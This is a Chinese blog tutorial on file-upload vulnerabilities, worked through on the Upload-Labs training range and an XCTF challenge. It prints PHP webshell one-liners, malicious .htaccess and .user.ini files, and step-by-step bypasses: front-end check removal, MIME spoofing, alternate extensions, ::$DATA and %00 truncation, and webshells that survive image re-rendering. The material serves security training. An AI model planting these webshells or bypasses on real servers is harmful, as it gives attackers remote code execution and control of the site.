当前位置:   article > 正文

Web安全之文件上传_对网站进行文件上传,获取网站webshell,分析数据库内容,拿到flag

对网站进行文件上传,获取网站webshell,分析数据库内容,拿到flag

目录

一、文件上传简介

1.1、什么是文件上传漏洞

1.2、什么是WebShell

二、环境搭建

2.1、环境下载

三、漏洞利用

3.1、文件上传之基础利用

3.2、文件上传之前端验证

3.3、文件上传之文件类型验证

3.4、文件上传之黑名单验证

3.5、文件上传之白名单验证

3.6、文件上传之二次渲染

3.7、文件上传之中间件


一、文件上传简介

1.1、什么是文件上传漏洞

文件上传漏洞是 Web 安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell 等到服务器执行,并最终获得网站控制权限的高危漏洞。

大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

如果 Web 应用程序存在上传漏洞 , 攻击者上传的文件是 Web 脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。如果上传的文件是 Flash 的策略文件 crossdomain.xml,黑客用以控制 Flash 在该域下的行为。如果上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。甚至攻击者可以直接上传一个 webshell 到服务器上 完全控制系统或致使系统瘫痪。

1.2、什么是WebShell

webshell 就是以 asp、aspx、php、jsp 或者 cgi 等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

二、环境搭建

2.1、环境下载

Upload-Labs:GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场


 

三、漏洞利用

3.1、文件上传之基础利用

本地新建一个名为 WebShell.php 的文件,内容为 php 一句话:

  1. GIF89a
  2. <?php @eval($_POST["cmd"]);?>

这里解释一下为什么要加 GIF89a,因为有些 Waf 会检测文件内容,而 GIF89a 就是图片内容的头。

访问本地漏洞环境:http://127.0.0.1/upload/Pass-00/index.php

d52f1d958d0940b98a8657f1da5cd0e7.png

点击 "浏览" 将 PHP 一句话上传到目标服务器。

d8a244a4e04744d4b8295a925e175656.png

上传成功后可以看到下方有一个 破损图片的框框,右键破损图片选择 "新建标签页打开图像",之后会跳转到:http://127.0.0.1/upload/upload/WebShell.php

3e29cdb4a27c4975bc838acf8e95a99e.png

 POST 传输如下字符可执行命令:whoami

cmd=system("whoami");

8bf1a357fbaf4db093b2c885d4d08453.png

3.2、文件上传之前端验证

如何判断前端拦截

  • 上传一个非法文件利用 Burp 进行抓包,如果没有抓到包就说明是前端拦截

  • 查看页面源代码,如果存在 javascript 代码,并且该代码是过滤、限制的就说明是前端拦截

访问本地环境:http://127.0.0.1/upload/Pass-01/index.php

6baece31d4064bc19a949667e7baddc2.png

上传 WebShell 到目标服务器上。

6664cd1f6c6b4cb7991aa575419bd4d1.png

可以看到这里提示我们只允许上传 jpg、png、gif类型的文件。

前面写道:如果存在 javascript 代码,并且该代码是过滤、限制的就说明是前端拦截。

F12 审查元素查看是否存在 javascript 代码。

4143a52e783843ec81bed15c91c0b37a.png

 可以看到这里存在 javascript 代码,并且该代码就是前端验证的代码,找到调用 checkFile() 的地方,将其去掉即可绕过。

e03b7e25b0074ad7b95fb0698ebdbd41.png

去掉 checkFile() 后,重新上传 WebShell。

bc242876181b47a7852175366d61f17b.png

 右键破损图片选择 "新建标签页打开图像" 访问我们的 WebShell 查看是否成功上传。

d94962c277f4447ea2584fb1356293d0.png

介绍了第一种绕过前端方式,接着介绍第二种,这里需要借用到 Burp 抓包工具。

首先将 WebShell.php 修改为 WebShell.jpg,这样就可以欺骗前端,从而能让 Burp 抓取到数据包。

将 WebShell.jpg 上传,在上传中要开启 Burp 抓包功能再点击上传。

c4b8c3fbca5d46afac9c34ea3d27e730.png

再数据包中将 jpg 后缀名修改为 php 然后放包即可绕过前端验证。

e9de5bf105cc4ed696293108e489759d.png

 右键破损图片选择 "新建标签页打开图像" 访问我们的 WebShell 查看是否成功上传。

65a6d8198cda41c2a74bd4c665ca00cb.png

这里就介绍完两种方式绕过前端了,哪种简单用哪种,看个人喜好。

3.3、文件上传之文件类型验证

访问漏洞环境:http://127.0.0.1/upload/Pass-02/index.php

51414683726a4130831431a7d5a5bf10.png

点击 "显示源码",分析源码。

a416e7e5480148aa8a2188372ff7a6e6.png

这里我们看红色框框的内容即可。

e019408a314848048120795bf9dbaf2f.png

这里的 if 判断为,如果你上传的 type 类型为:image/jpeg、image/png······就可以让你上传文件,如果不是则返回 "文件类型不正确,请重新上传!"。

首先将 Burp 抓包功能开启,然后将 WebShell 进行上传。

57b03abb100f4de3aa1055fbeabbf391.png

将 "application/octet-stream" 修改为 "image/jpeg" 类型,放包即可绕过。

791865f1deb644d59c6352fd81239cb9.png

 右键破损图片选择 "新建标签页打开图像" 访问我们的 WebShell 查看是否成功上传。

3c5661a7acf34b4d95f586bd8e163c55.png

3.4、文件上传之黑名单验证

访问漏洞环境:http://127.0.0.1/upload/Pass-03/index.php

2b90cebe72fc43ceb4a69547f4bc2957.png

点击右上角的 "查看提示"。

8e0554de47434661883b9ca480b124f1.png

 本关卡禁止上传 asp、aspx、php、jsp 文件。

将我们的 WebShell.php 修改为 WebShell.phtml、php1 ···· php9,这里我修改为 phtml。

将 WebShell.phtml 上传。

ed155d0e3f424a86a5fabc56e2f9f7f9.png

 右键破损图片选择 "新建标签页打开图像" 访问我们的 WebShell 查看是否成功上传。

c124565cb4184c10be3d81f63908857c.png

注意事项:phtml 并不是所有服务器都能解析的,如果需要解析需要到 Apache 中的 httpd.conf 配置文件将如下图的注释去掉。

a4159d46b9b4434485637646b334d154.png

如果目标服务器为  Windows 我们可以利用 Windows 的特性进行绕过。

回到上传页面,点击 "显示源码"。

ae8ba6931f7346e38c68e00782fc5cca.png

分析 10 行与 5 行的代码。

a65d7b87c1954efaadddff2ae3251b64.png

 第十行过滤了 "::$DATA"。但值得注意的是仅仅过滤了一次,所以我们可以利用双写进行绕过。

在 Window 的时候如果 "文件名::$DATA" 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 ::$DATA 之前的文件名,他的目的就是不检查后缀名。

eb08cd52e5a2484b953e10c8a558ca4f.png

在后缀添加 ::$DAT::$DATAA

55e5330864d54755b94a7db6966e389c.png

右键破损图片选择 "新建标签页打开图像" 访问我们的 WebShell 查看是否成功上传。

5eae2d95586045b8879d09778cacdbab.png

这里将 ::$DATA去掉即可。

191db2c043fa499097610218cfc558f3.png

 当然黑名单绕过不止这些这里简单列一下:

  • 大小写绕过
  • 双写绕过
  • 其他扩展名绕过
  • 中间件绕过
  • Windows特性绕过
  • ······

3.5、文件上传之白名单验证

在开始前首先讲讲 %00 截断的原理和利用条件。

(1)利用原理

00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言在定义字符串时,都是以 \0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到 \0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0 字符的方式,达到字符串截断的目的。00 截断通常用来绕过 web 软 waf 的白名单限制。

(2)利用条件

  • php 版本小于 5.3.29
  • php.ini 文件 magic_quotes_gpc = Off

访问漏洞环境:http://127.0.0.1/upload/Pass-12/index.php

上传 WebShell.jpg 文件的同时开启 Burp 抓包功能。

94e50a8c6ce74d9da341ad262b00c3d9.png

快捷键 Ctrl + R 将数据包发送到 Repeater 重放模块。

87dea5f263fb4492b93f9f8bc39bcfe7.png

 在数据包中有个变量值 save_path 该值为 GET 方式,我们在后面添加如下数据,然后点击 Send 发送数据。

98c4cbffb1d24c0883ede3c1b1207d2b.png

可以看到成功绕过白名单限制上传 php 文件。

17a56cd30ed148c0be43cecb221ccb54.png

 访问 upload/webshell.php 文件查看是否上传成功。

f0da181e515841f6a0675629393dd733.png

该方法为 GET 方式传输,而 POST 传输是一定有区别的,下面演示 POST 传输方式。

访问漏洞环境:http://127.0.0.1/upload/Pass-13/index.php

上传 WebShell.jpg 文件的同时开启 Burp 抓包功能。

da8698d8b3f44dca8d25ced452f8d478.png

 快捷键 Ctrl + R 将数据包发送到 Repeater 重放模块。

6cff9edd22fd449e99f7edeb4ddff6b4.png

可以在数据包中看到 save_path 这个值是是下方的,说明这个值是 POST 方式提交。

跟一样的 GET 上传方式都是差不多一样的,首先在如下图红色框框添加上如下数据:

c374a8c50b234678826103b5e822b751.png

接着选中 %00,快捷键 Ctrl+Shift+U 将 %00 进行解码,最后 %00 会变成一个空格。

这里解释一下为什么要将 %00 进行解码,因为 POST 方式不会将我们的 %00 进行二次 URL 解码,而 GET 方式会,所以我们需要对 %00 进行 URL 解码。

9af597debed24b8f9111991435a31187.png

这时就可以点击 Send 发送数据包了。

0b33702b936f41b89e04aba5c5b427f2.png

 访问 upload/WebShell.php 文件,查看是否上传成功。

bcb5104146eb4a5cbc6db4ff7428bd5f.png

3.6、文件上传之二次渲染

(1)什么是二次渲染

二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

在本地准备两个文件,分别为:tu.gif、shell.php。tu 为正常图片,shell 为一句话木马文件。

1781f2d2c75144119cc41f564e7aefc4.png

 打开 cmd 将这两个文件合成一个新的图片文件。

copy tu.gif /b + shell.php /a tushell.gif

c4e0358b73a64ec4a2c3153473a246d8.png

 b144674b0ff04a74827042f5d000c16d.png

将 tushell.gif 拉取到 Editor 中进行查看,如下图可以看出已经将一句话插入 gif 图片中。

fe159d0ba1194c86bc58ee94127f2fe1.png

访问漏洞环境:http://127.0.0.1/upload/Pass-17/index.php

上传 tushell.gif 文件到目标服务器。

cd5deda3b8954d68b22cc598f49666e9.png

鼠标右键将图片上传的图片下载到本地来。

27d4d0ab32264965ab6d5e6f16faffaa.png

将 1281378780.gif 放入 Editor 中进行查看,从图中可以看到我们的一句话已经被二次渲染了不见了。

a060ea82c0e44d2fa186aee432805efd.png

而我们的目的是需要经过二次渲染并且我们的一句话不会被渲染掉,将 tushell.gif 和  1281378780.gif 放入 Editor 进行比较。

96aba37151824efeb58f63d887b44c3b.png

经过比较,在 2c 00 00 00 00 ···· B6 4C 49 72处两个图片是一直的,也就是说这个地方是不会被二次渲染,所以我们可以在此处插入一句话木马,向 tushell.gif 插入一句话,注意是插入不要将里面的数据给替换了原来的数据要一字不缺的保留。

2eca67f5fdee44d5b32f11878199200b.png

 重新将 tushell 文件上传到服务器中。

531223a11d5640c4a91da9fd6e4c9f7f.png

右键图片,将图片下载到本地。

fa2e3e2ef533408eab491ab1b3a91a04.png

将图片放入 Editor 中进行查看,可以看到并没有被过滤。

d3f327fa906c4232a0e07f18f0fba681.png

 访问文件包含漏洞环境:http://127.0.0.1/upload/include.php

用文件包含漏洞去包含我们刚刚上传的图片,并执行 phpinfo() 代码。

35ab3069335b4cad9edc3b25d70940a6.png

3.7、文件上传之中间件

(1).htaccess 文件

.htaccess 是一个纯文本文件,里面存放着 Apache 服务器配置相关的一些指令,它类似于 Apache 的站点配置文件,只支持本目录其可以访问控制, URL 规则等等,这里拿来进行绕过上传的防御规则。

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

  • 文件内容:

  1. <FilesMatch "m">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
  • htaccess 文件说明/上传流程

  1. 这里的 htaccess 文件的意思就是将 m 开头的文件按 php 来进行解析

  2. 先上传 m 开头的 jpg 文件,ma.jpg

  3. 再上传 htaccess 文件

  4. 再去访问 ma.jpg 这时就可以命令执行了

(2).user.ini 文件介绍

.user.ini。它比 .htaccess 用的更广,不管是 nginx/apache/IIS ,只要是以 fastcgi 运行的 php 都可以用这个方法。我的 nginx 服务器全部是 fpm/fastcgi ,我的 IIS php5.3 以上的全部用的 fastcgi/cgi ,我win下的 apache 上也用的 fcgi ,可谓很广,不像 .htaccess 有局限性。

这个文件是 php.ini 的补充文件,当网页访问的时候就会自动查看当前目录下是否有 .user.ini ,然后将其补充进 php.ini ,并作为 cgi 的启动项。其中很多功能设置了只能 php.ini 配置,但是还是有一些危险的功能可以被我们控制,比如 auto_prepend_file。

文件内容:

  1. GIF89a
  2. auto_prepend_file=cmd.jpg
  • .user.ini 文件说明/上传流程
  1. 这里的文件内容意思是包含 cmd.jpg,将 cmd.jpg 解析。

  2. 首先上传 cmd.jpg 文件,内容为一句话木马

  3. 再将我们的 .user.ini 文件上传

  4. 最后访问 index.php 即可 GetShell,例:上传路径为 upload 那么访问 upload/inde.php,如果上传在当前目录直接访问 index.php

  5. 注:顺序一定要先上传 "木马",在上传 ".user.ini" 配置文件

(3) .htaccess上传

访问漏洞环境:http://127.0.0.1/upload/Pass-04/index.php

上传 WebShell.jpg 文件到服务器。

952332ae9d194e26acbde26f72191220.png

 接着上传 .htaccess 文件,内容如下:

  1. <FilesMatch "W">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

c9383e637ad445aa943f028f28740cd7.png

访问 php 一句话马子: http://127.0.0.1/upload/upload/WebShell.jpg

dac4146dd5a5469683d488b0d43a2e30.png

 (4).user.ini上传

访问漏洞环境:XCTF 中的 easyupload

上传 ma.png 到目标服务器中,这里有过滤得改下木马内容才能上传。

  1. GIF89a
  2. <?=@eval($_POST['cmd']);

fc6953311d6942afb1bc0f41ee2fd8f7.png

上传 .user.ini 文件到目标服务器,内容如下:

  1. GIF89a
  2. auto_prepend_file=ma.png

这里得用 Burp 抓包修改 Type 为 image/png 绕过。

b5a3b388cdcf4ca4813244333889545f.png

放包即可上传。

3f529710839f4b0b9ee7d8e854a5724e.png

访问 uploads 路径,注意是访问 uploads 文件夹。

6cbf45f32b9d4449b6d20655a86c3517.png

尝试执行 phpinfo() 代码。

bc563020cf9d4a09af9fbc923833dfa0.png

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/736540
推荐阅读
相关标签
  

闽ICP备14008679号